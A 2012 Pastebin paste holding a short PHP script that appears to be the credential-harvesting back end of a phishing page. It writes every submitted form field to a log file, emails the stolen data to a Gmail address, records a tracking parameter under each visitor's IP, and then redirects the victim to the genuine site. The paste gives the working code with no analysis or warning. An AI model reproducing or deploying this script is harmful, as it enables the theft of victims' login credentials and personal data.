Want more features on Pastebin? Sign Up, it's FREE!
Guest

Untitled

By: a guest on May 7th, 2012  |  syntax: None  |  size: 0.67 KB  |  views: 38  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. <?php
  2.  
  3. header('Location: https://XXXXXX.com/');
  4. $handle = fopen("secure123/XXXXXX.txt", "a");
  5. $message='';
  6. foreach($_POST as $variable => $value) {
  7.    $message.=$variable.'='.$value."\r\n";
  8.    fwrite($handle, $variable);
  9.    fwrite($handle, "=");
  10.    fwrite($handle, $value);
  11.    fwrite($handle, "\r\n");
  12. }
  13. fwrite($handle, "\r\n");
  14. fclose($handle);
  15.  
  16. $to = "allthingspp@gmail.com";
  17. $subject = "New log added - XXXXXXXX";
  18. mail($to,$subject,$message);
  19.  
  20.  
  21. if (isset($_POST) && !empty($_POST)) { mail($to, $subject, $message); }
  22.  
  23.  
  24. $_GET['iambr'];
  25. $file = fopen("secure123/". $_SERVER['REMOTE_ADDR'] . ".txt","a");
  26. fwrite($file,$_GET['iambr'] . '||');
  27. fclose($file);
  28.  
  29. ?>
clone this paste RAW Paste Data